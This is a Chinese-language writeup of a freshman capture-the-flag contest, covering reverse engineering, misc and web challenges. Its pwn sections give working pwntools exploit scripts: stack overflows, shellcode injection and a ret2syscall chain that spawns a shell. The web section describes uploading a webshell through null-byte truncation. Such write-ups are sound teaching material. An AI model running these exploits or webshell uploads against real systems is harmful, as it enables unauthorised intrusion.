You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
This file contains ambiguous Unicode characters that may be confused with others in your current locale. If your use case is intentional and legitimate, you can safely ignore this warning. Use the Escape button to highlight these characters.
# 0x3f新生赛 Writeup
## Re
### R
下载可执行文件, 用IDA打开, 在main函数的最后发现一些mov, 将立即数用字符显示即得flag。
## Pwn
### pwn1
简单的栈溢出
```python
from pwn import *
pld = 'a' * 0x20 + 'b' * 8 + p64 ( 0x401182 )
sh = process ( './01' )
sh . sendline ( pld )
sh . interactive ()
```
### pwn2
通过提示可以找到C++的全局变量初始化函数, 发现有mmap一块RWX的内存, 而立即数反汇编后是`jmp rsp`,栈又可执行,所以题解如下:
```python
from pwn import *
context . arch = 'amd64'
sh = process ( './02' )
pld = 'a' * 0x40 + 'b' * 8 + p64 ( 0x666666660000 ) + asm ( shellcraft . sh ())
sh . sendline ( pld )
sh . interactive ()
```
### pwn3
没有pie, 静态链接, 显然是ret2syscall。用ROPgadget找到那些地址直接用就行了。注意当目标地址中含有`\x0a`的时候会导致输入截断,因为`'\n' == '\x0a'`。
```python
from pwn import *
adb = 0x080570c4
cbx = 0x0806f1b2
bsh = 0x080dc068
i80 = 0x0804a31a
sh = process ( './03' )
pld = flat ([ 'a' * 0x30 , 'b' * 4 , adb , 0xb , 0 , bsh , cbx , 0 , bsh , i80 ])
sh . sendline ( pld )
sh . interactive ()
```
## Misc
### cap
用提示给的网站修复cap, 获得修复后的pcap包, 跟踪TCP流, 发现有两个位置上是lf和ga, 将后面一系列包的这两位连起来就是flag了。
### picture
下载文件, 解压后获得图片, 用stegsolve打开, 发现绿色通道最低位仿佛有信息, 导出出来, 根据提升修复bmp header, 打开即见flag。
### 签到
复制粘贴,没啥好说的。
## Web
### upload
任意上传, 用burpsuite拦截上传请求, 使用0x00进行截断, 用这种方法上传一句话木马, 然后用中国菜刀类的工具浏览服务器目录, 很容易就能发现flag
### 404
打开开发者工具, 发现虽然看起来是404, 实际上是200, flag就在http headers里面。
### ios88
将user-agent改成ios的, 然后把版本号都改成88, 就能在http headers里找到flag了。